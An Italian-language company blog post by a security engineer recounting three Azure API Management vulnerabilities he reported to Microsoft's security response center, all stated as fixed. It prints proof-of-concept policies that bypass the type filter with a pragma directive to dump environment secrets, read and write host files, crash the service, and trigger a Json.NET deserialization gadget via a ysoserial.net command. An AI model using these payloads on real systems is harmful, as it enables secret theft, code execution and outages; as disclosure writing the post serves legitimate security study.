Dietro le quinte

Chi cerca trova: vulnerabilità di sicurezza su Microsoft Azure

Martin Wrona
12.3.2024
Traduzione: Leandra Amato

Leggi il codice come se fosse un libro e ti interessa la sicurezza software? Allora fai parte del gruppo target a cui voglio rivolgermi con questo articolo.

Che cos'è Azure API Management?

Tramite Azure API Management Gateway è possibile gestire le API. Gli sviluppatori possono usufruire di un portale di facile utilizzo con documentazione ed esempi di codice per un'integrazione senza problemi. Questi componenti sono ospitati in Azure e completamente gestiti per impostazione predefinita.

Per ulteriori informazioni sul servizio, puoi trovare la documentazione qui: «API Management – Manage APIs | Microsoft Azure».

Espressioni di criteri

Azure API Management Gateway offre la possibilità di manipolare le richieste in entrata e in uscita come caching, HTTP header manipulation, rate limiting, URL rewriting ecc.

La procedura è la seguente:

Poiché le manipolazioni statiche sono limitate e Microsoft vuole offrire maggiore flessibilità, il codice C# può essere scritto nelle cosiddette espressioni di criteri.

La documentazione delle espressioni di criteri contiene un elenco dettagliato dei tipi che possono essere usati per creare le espressioni. Lo scopo di questa restrizione di tipo è quello di evitare che l'intero framework .NET (sì, proprio così, il servizio gira ancora su tutto il framework) sia disponibile nelle politiche e causi danni all'host sottostante del servizio.

In C# e dotnet, non sono a conoscenza di alcun meccanismo che filtri i tipi come Language Mode in PowerShell. Ho quindi deciso di approfondire l'implementazione.

Durante le revisioni del codice, mi pongo sempre la domanda: «Implementerei questa funzionalità nello stesso modo? Altrimenti, perché è stato sviluppato in questo modo?». Le funzioni di sicurezza create autonomamente spesso non sono ben studiate e possono essere aggirate con approcci creativi.

Per ulteriori informazioni sulle espressioni di criterio e sui tipi consentiti, consulta la documentazione qui: «Azure API Management policy expressions»

Analisi tecnica

#1 Arbitrary Code Execution

Per aggirare il filtro del tipo, ho provato prima a dichiarare una variabile come «dynamic». In C# è possibile dichiarare in questo modo le variabili, il cui tipo viene determinato in fase di esecuzione. Ciò consente di definire variabili analoghe a quelle dei linguaggi non fortemente tipizzati.

Il risultato è stato un messaggio di errore significativo che mi ha mostrato come è stato implementato il filtraggio del tipo.

Un classico esempio di «CWE-1295»:

Il messaggio di errore indica che il filtro di tipo è stato implementato da Microsoft utilizzando un analizzatore Roslyn.

Le direttive del preprocessore sono istruzioni del codice che forniscono al compilatore determinate condizioni per la compilazione.

Un esempio è rappresentato dalle funzioni di compatibilità attraverso le versioni del framework:

#if NET40
        WebClient _client = new WebClient();
#else
        HttpClient _client = new HttpClient();
#endif

O la soppressione dei fastidiosi avvisi attivati dagli analizzatori:


pragma warning disable

Questa direttiva può essere usata per disattivare l'analizzatore di filtri di tipo autocostruito. Dopo di che tutti i tipi di framework sono disponibili.

Ulteriore documentazione sulle direttive del preprocessore «C# preprocessor directives - C# | Microsoft Learn».

Exploit

Nel mio esempio, che ho fornito all'MSRC (Microsoft Security Response Center), ho riportato tutte le variabili d'ambiente che contengono informazioni internas/secrets, come le stringhe di connessione. In determinate circostanze, ciò consentirebbe di spostarsi ulteriormente all'interno della rete del server e quindi di ottenere il controllo su altri sistemi, il cosiddetto «lateral movement».

Tuttavia, a causa delle linee guida dell'MSRC, non ho effettuato questa prova, lasciandolo nel mio Proof of Concept.

<set-body>@{ 
  #pragma warning disable

var str = ""; foreach (System.Collections.DictionaryEntry de in Environment.GetEnvironmentVariables()) {

  str += $"{de.Key} = {de.Value}{Environment.NewLine}";

}

return str; }</set-body>


Timeline

24 Jan 2023 Report
26 Jan 2023 Start MSRC Review / Repro
10 Feb 2023 MSRC Fix in produzione

#2 Arbitrary Read & Write

A seguito del post di Tenable collegato in precedenza sullo stesso servizio, ho voluto verificare come Microsoft ha risolto il bug che ho trovato. Ma come si può controllare questo aspetto con una scatola nera? Probabilmente Microsoft non mi darà il codice sorgente... o forse sì?

Durante le mie ulteriori ricerche, mi sono imbattuto nel self-hosted Gateway. Si tratta di una versione minimale e dockerizzata dell'API Management Gateway, che può essere utilizzata nella propria infrastruttura.

Ulteriore documentazione sul self-hosted Gateway: «Self-hosted gateway overview | Microsoft Learn».

Ho usato dive per esaminare la Docker Image e poi ho estratto il layer che mi interessava:

Con dotPeek (.NET Decompiler) ho cercato tra i file precedentemente estratti e mi sono imbattuto nell'analizzatore autocostruito di cui sopra. L'implementazione sembrava molto robusta a prima vista, ma mi sono accorto di un blocco «early return».

L'analizzatore consente di elencare gli assembly nel blocco rosso e quindi tutti i tipi inclusi. A mio parere, questo dovrebbe essere usato solo con molta parsimonia in un approccio di whitelisting, perché altrimenti nuove funzioni potrebbero insinuarsi durante gli aggiornamenti del framework.

Ho quindi cercato la definizione degli assembly e ho trovato quello che cercavo in «expressions.json».

Gli assembly consentiti sono quindi System.Xml e System.Xml.Linq. Questo contraddice la documentazione di Microsoft sui tipi consentiti, in quanto tutti i tipi sono esplicitamente elencati. Quindi qualcuno ci ha pensato in passato, ma probabilmente l'idea è andata persa durante l'implementazione o con un aggiornamento.

Exploit

System.Xml offre diverse funzioni per l'accesso in lettura e scrittura. A seconda delle autorizzazioni dell'utente che esegue il processo host, è possibile manipolare i file e quindi ottenere l'esecuzione di codice arbitrario.

Arbitrary Read
È stato così possibile leggere i file XML dell'host sottostante.

<set-body>@{
  var path = @"test.xml";

XmlDocument doc = new XmlDocument(); doc.Load(path); return doc.OuterXml; }</set-body>


Arbitrary Write
Poiché il servizio non utilizza un file system di sola lettura, sono stato in grado di scrivere i file nella cartella dell'applicazione. Nel mio Proof of Concept, ho provato a manipolare il file expressions.json in modo che tutti i tipi siano di nuovo disponibili. Purtroppo non ha funzionato, perché sarebbe stato necessario riavviare l'applicazione.

<set-body>@{
  try{
    var str = System.Net.WebUtility.UrlDecode(context.Request.Url.Query.GetValueOrDefault("content", "Hello World"));

var settings = new XmlWriterSettings();

settings.Indent = true;
settings.IndentChars = "\t";
settings.OmitXmlDeclaration = true;
var writer = XmlWriter.Create(@"hello-world.txt", settings);
writer.WriteRaw(str);
writer.Flush();
writer.Dispose();

return ""; }catch(Exception ex){

  return ex.Message;

} }</set-body>


Un arresto forzato dell'IIS Application Pool dovuto al seguente criterio purtroppo non ha portato a un riavvio, ma ha reso il servizio permanentemente inutilizzabile. Di conseguenza, ho dovuto eliminare l'istanza esistente e crearne una nuova.

<set-body>@{
  async void ex() { throw new Exception(); }
  ex();

return ""; }</set-body>


I criteri mostrati sopra sono stati distribuiti per Remote Code Execution MSRC dopo ulteriori prove e sono stati corretti come «Privilege Escalation».

Timeline

09 Jul 2023 Report
14 Jul 2023 Start MSRC Review / Repro
17 Aug 2023 MSRC Fix in produzione

#3 Arbitrary Code Execution (Insecure Deserialization)

Quando stavo cercando di ottenere l'esecuzione di codice con una vulnerabilità di lettura/scrittura arbitraria, mi è venuta l'idea di scrivere codice intenzionalmente vulnerabile. Esistono diversi metodi di attacco noti per XML e l'uso di XSLT (XSL Transformation) ha portato a risultati interessanti.

XSLT Processing

Il framework .NET offre un'estensione di funzione che consente di definire il codice C# all'interno di un modello. Questa sezione viene poi compilata ed eseguita durante l'elaborazione.

Ulteriore documentazione su msxml:script 2Script Blocks Using msxsl:script - .NET | Microsoft Learn».

<msxsl:script language="C#" implements-prefix="user">
  <![CDATA[
  public string UserFunction(){
    return "Hello World";
  }
  ]]>
</msxsl:script>

L'esecuzione del mio blocco di script non ha funzionato, ma ho ricevuto un messaggio di errore molto esplicito che mi ha spiegato meglio come funziona.


Error occurred while compiling the script: Cannot execute a program. The command being executed was "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\apimuser_proxy\AppData\Local\Temp\l3fkjmcj.cmdline".

Il messaggio di errore «Cannot execute a program» significa che l'utente che esegue il servizio non è autorizzato ad avviare altri processi. Questo è assolutamente sensato dal punto di vista della sicurezza e ha evitato ulteriori danni a questo punto.

All'inizio delle mie prove, ho già notato che l'analizzatore permette la ben nota funzione vulnerabile Newtonsoft.Json.JsonConvert.DeserializeObject.

Per far sì che questa funzione esegua il codice, è necessario deserializzare una classe specifica (un cosiddetto gadget). Questa classe esegue il codice come parte del processo di deserializzazione, nel costruttore o nei metodi getter/setter di una proprietà.

Ulteriore documentazione sulla funzione nota come vulnerabile DeserializeObject.

YSoSerial.Net

Dopo le mie ricerche, mi sono imbattuto in un'altra variante del payload, disponibile come parte del gadget DataSetOldBehaviourFromFile. Questo payload può essere usato per eseguire il costruttore di una classe autodefinita.

Codice della classe exploit:

Cli Command utilizzato:


\ysoserial.exe -f Json.Net -g RolePrincipal -o raw -c "ExploitClass.cs;System.Runtime.dll;System.IO.dll;System.dll;System.Core.dll;System.Net.Http.dll" -bgc DataSetOldBehaviourFromFile

#### Exploit

L'analizzatore consente di impostare JsonSerializerSettings, ma vieta l'accesso all'enum TypeNameHandling, necessario per l'esecuzione del codice. L'analizzatore può essere nuovamente aggirato eseguendo un semplice cast da int a enum.

Esempio policy:

<set-body>@{
    var payload = context.Request.Body.As<string>();

try{

    string data = @"{
        '$type': 'System.Web.Security.RolePrincipal, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a',
        'System.Security.ClaimsPrincipal.Identities': '"+payload+@"'
    }";

object obj = JsonConvert.DeserializeObject<object>(data, new JsonSerializerSettings

    {
        TypeNameHandling = (Newtonsoft.Json.TypeNameHandling)4
    });
    return "OK";
}
catch(Exception ex){
    return JsonConvert.SerializeObject(ex);
}

}</set-body>


E il risultato dell'esecuzione con vari secrets dei sistemi interni di Microsoft.

Timeline

06 Aug 2023 Report
10 Aug 2023 Start MSRC Review / Repro
29 Aug 2023 MSRC Fix in produzione

Conclusione

Il Microsoft Security Response Center ha elaborato le vulnerabilità segnalate con la priorità appropriata e le ha inoltrate al gruppo di prodotti pertinente. La comunicazione è stata professionale e grazie ai POC che ho fornito, le patch hanno potuto essere implementate rapidamente nell'ambiente produttivo.

Ciò è stato possibile e legalmente consentito solo perché Microsoft gestisce un programma di bug bounty. Ulteriori informazioni sono disponibili sul sito https://www.microsoft.com/en-us/msrc/bounty.

Sapevi che da Digitec Galaxus abbiamo un Vulnerability Disclosure Program? Ethical hacker possono cercare le vulnerabilità della sicurezza nella nostra azienda, nel rispetto delle regole. Ulteriori informazioni sono disponibili sul sito https://www.galaxus.ch/security.


A 255 persone piace questo articolo


User Avatar
User Avatar
Martin Wrona
Senior Security Software Engineer
Martin.Wrona@digitecgalaxus.ch

Sicurezza
Segui gli argomenti e ricevi gli aggiornamenti settimanali relativi ai tuoi interessi.

Tecnologia
Segui gli argomenti e ricevi gli aggiornamenti settimanali relativi ai tuoi interessi.

Dietro le quinte

Novità sulle funzionalità del negozio, informazioni dal marketing o dalla logistica e molto altro ancora.

Visualizza tutti

Potrebbero interessarti anche questi articoli

  • Dietro le quinte

    Cercato e trovato: Vulnerabilità nel router Zyxel

    di Martin Wrona

  • Retroscena

    NAS fai da te: app della community, Docker e VM – il mio server Unraid sta crescendo

    di Richie Müller

  • Retroscena

    Guida per Microsoft Copilot: quali assistenti IA sono disponibili e cosa possono fare

    di Martin Jud